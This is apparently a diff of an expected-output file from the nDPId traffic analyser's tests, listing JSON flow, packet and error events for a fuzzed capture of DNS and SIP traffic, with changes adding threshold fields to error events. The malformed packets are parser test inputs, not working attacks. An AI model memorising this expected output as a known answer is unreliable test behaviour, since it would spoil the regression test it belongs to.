01011{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":237,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":93,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470066201945,"flow_src_last_pkt_time":1120470066201945,"flow_dst_last_pkt_time":1120470066201945,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470066201945,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2733,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.arpa","dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":238,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":10240,"global_ts_usec":1120470066203124} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470066203124,"packet_id":238,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":10240,"global_ts_usec":1120470066203124} 00351{"packet_event_id":1,"packet_event_name":"packet","packet_id":238,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":47,"pkt_type":10240,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":47,"pkt_l4_len":0,"thread_ts_usec":1120470066201945,"pkt":"ADBUADRWAODtAW69KABFAAAhankAAIARGJPAqAEC1PIhIxPEE8QADcBLICAgICA="} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":239,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":94,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470066293853,"flow_src_last_pkt_time":1120470066293853,"flow_dst_last_pkt_time":1120470066293853,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470066293853,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2750,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00566{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_src_last_pkt_time":1120470066293853,"flow_dst_last_pkt_time":1120470066293853,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470066293853,"pkt":"ADBUADRWAODtAW69CABFAABIanoAAIARTNfAqAECwKgBAQq+ADUANBAIP8gBAAABAAAAAAAABF9zaXAEX3VkcAR2b2lwB2JydWp1bGEDbmV0AAAhAAE="} @@ -597,7 +597,7 @@ 00769{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":265,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":90,"flow_state":"info","flow_src_packets_processed":5,"flow_dst_packets_processed":0,"flow_first_seen":1120470049190871,"flow_src_last_pkt_time":1120470058198554,"flow_dst_last_pkt_time":1120470049190871,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":220,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470102883325,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2748,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00916{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":265,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":89,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470049188993,"flow_src_last_pkt_time":1120470049188993,"flow_dst_last_pkt_time":1120470049188993,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":822,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":822,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":822,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470102883325,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":4932,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"SIP","proto_id":"100","encrypted":0,"breed":"Acceptable","category_id":10,"category":"VoIP"}} 00922{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":265,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":91,"flow_state":"finished","flow_src_packets_processed":7,"flow_dst_packets_processed":2,"flow_first_seen":1120470049696866,"flow_src_last_pkt_time":1120470094861859,"flow_dst_last_pkt_time":1120470085961798,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":375,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":822,"flow_dst_max_l4_payload_len":614,"flow_src_tot_l4_payload_len":3519,"flow_dst_tot_l4_payload_len":1209,"midstream":0,"thread_ts_usec":1120470102883325,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"SIP","proto_id":"100","encrypted":0,"breed":"Acceptable","category_id":10,"category":"VoIP"}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":267,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470112342670} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470112342670,"packet_id":267,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470112342670} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":267,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470110894601,"pkt":"ADBUAKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":269,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":106,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470113337845,"flow_src_last_pkt_time":1120470113337845,"flow_dst_last_pkt_time":1120470113337845,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":9,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":9,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":9,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470113337845,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2754,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_src_last_pkt_time":1120470113337845,"flow_dst_last_pkt_time":1120470113337845,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":17,"thread_ts_usec":1120470113337845,"pkt":"ADBUADRWAODtA269CABFAAAlcwAAAIARTLzAqAECwKgBAQrCADUAPKwzfc8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -717,18 +717,18 @@ 00910{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":79,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120470002989548,"flow_src_last_pkt_time":1120470002989548,"flow_dst_last_pkt_time":1120470002991048,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":63,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":63,"midstream":0,"thread_ts_usec":1120470187658020,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2743,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00736{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":85,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470033172606,"flow_src_last_pkt_time":1120470033172606,"flow_dst_last_pkt_time":1120470033172606,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":52,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":52,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":52,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470187658020,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":240,"flow_datalink":1,"flow_max_packets":3} 00770{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":110,"flow_state":"info","flow_src_packets_processed":5,"flow_dst_packets_processed":0,"flow_first_seen":1120470141614697,"flow_src_last_pkt_time":1120470150621463,"flow_dst_last_pkt_time":1120470141614697,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":220,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470187658020,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2756,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470199678387} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470199678387,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470199678387} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470187658020,"pkt":"ADBUADRWAODtAW69CABBAABIarMAAIARTJ7xqAECwKgBAQrIADUANHAIufQBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":304,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":118,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470200673416,"flow_src_last_pkt_time":1120470200673416,"flow_dst_last_pkt_time":1120470200673416,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470200673416,"l3_proto":"ip4","src_ip":"192.22.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_src_last_pkt_time":1120470200673416,"flow_dst_last_pkt_time":1120470200673416,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470200673416,"pkt":"ADBUADRWAODtAW69CABFAABIaqsAAIARTJ3AFgECwKgBAQrIADUANHAIufQBALQBAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":305,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":119,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470202676324,"flow_src_last_pkt_time":1120470202676324,"flow_dst_last_pkt_time":1120470202676324,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470202676324,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_src_last_pkt_time":1120470202676324,"flow_dst_last_pkt_time":1120470202676324,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470202676324,"pkt":"ADBUADRWAODtAW69CABFAABIarUAAIARTJzAqAECwKgBAQrIADUANHAIufQBAAABAAAAAAAABF9zaXAEZXVkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":305,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":119,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470202676324,"flow_src_last_pkt_time":1120470202676324,"flow_dst_last_pkt_time":1120470202676324,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470202676324,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip.eudp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":306,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":47872,"global_ts_usec":1120470204679215} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470204679215,"packet_id":306,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":47872,"global_ts_usec":1120470204679215} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":306,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":47872,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470202676324,"pkt":"ADBUADRWAODtAW69uwBFAABIarYAAIARTJvAqAECwKgBAQrIADUANHAIufQBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":307,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120470207908384} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470207908384,"packet_id":307,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120470207908384} 00417{"packet_event_id":1,"packet_event_name":"packet","packet_id":307,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120470202676324,"pkt":"\/zT\/\/\/\/\/AODVAW69CABFAFJOarcAAIARkZbAqAECwKgB\/wCJAIkAOlt+hR0BEAABAAAAAABFIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":308,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":9587,"global_ts_usec":1120470208654850} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470208654850,"packet_id":308,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":9587,"global_ts_usec":1120470208654850} 00419{"packet_event_id":1,"packet_event_name":"packet","packet_id":308,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":9587,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120470202676324,"pkt":"\/\/\/\/\/\/\/\/AODtAW69JXMAAABOargAAIARS5XAqAECwKgB\/wCJAIkAOlt+hZ0BEAABAAAAAAAAIEVGRURFSkZQRUVFUEVOREJFSkVPQ0FDQUNBQ0GQQUJNAAAgAAE="} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":2,"flow_src_last_pkt_time":1120470208684923,"flow_dst_last_pkt_time":1120470202676324,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470208684923,"pkt":"ADBUADRWAODtAW69CABFAABIarkAAIARTJjAqAECwKgBAQrIADUANHAIufQBAAABAAAAADYABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01024{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":309,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":119,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470202676324,"flow_src_last_pkt_time":1120470208684923,"flow_dst_last_pkt_time":1120470202676324,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470208684923,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} @@ -769,9 +769,9 @@ 01144{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":315,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":121,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470216783289,"flow_src_last_pkt_time":1120470217778034,"flow_dst_last_pkt_time":1120470216783289,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470217778034,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2762,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":3,"flow_src_last_pkt_time":1120470219780912,"flow_dst_last_pkt_time":1120470216783289,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470219780912,"pkt":"ADBUADRWAODtAW69CABFAABIar8AAIARTJLAqAECwKgBAQrKADUANKsCfvgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AnNrAAAhAAE="} 01145{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":316,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":121,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470216783289,"flow_src_last_pkt_time":1120470219780912,"flow_dst_last_pkt_time":1120470216783289,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470219780912,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2762,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.sk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":317,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":29440,"global_ts_usec":1120470221783776} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470221783776,"packet_id":317,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":29440,"global_ts_usec":1120470221783776} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":317,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":29440,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470219780912,"pkt":"ADBUADRWAODtAW4lcwBFAABIasAAAIARTJHAqAECwKglcwDKADUANKsCfvgBAAABAAAAAAgABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00199{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":318,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120470225789534} +00299{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470225789534,"packet_id":318,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120470225789534} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":318,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470219780912,"pkt":"ADBUADRWAODtAW69CACbAABIasEEAIARTJDAqAECwKgBAQrKADUANKsCfvgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00820{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":82,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470032081813,"flow_src_last_pkt_time":1120470032081813,"flow_dst_last_pkt_time":1120470032081813,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470219780912,"l3_proto":"ip4","src_ip":"192.168.1.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} 00776{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":82,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470032081813,"flow_src_last_pkt_time":1120470032081813,"flow_dst_last_pkt_time":1120470032081813,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470219780912,"l3_proto":"ip4","src_ip":"192.168.1.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -780,17 +780,17 @@ 00769{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":112,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470170646619,"flow_src_last_pkt_time":1120470170646619,"flow_dst_last_pkt_time":1120470170646619,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470219780912,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2640,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 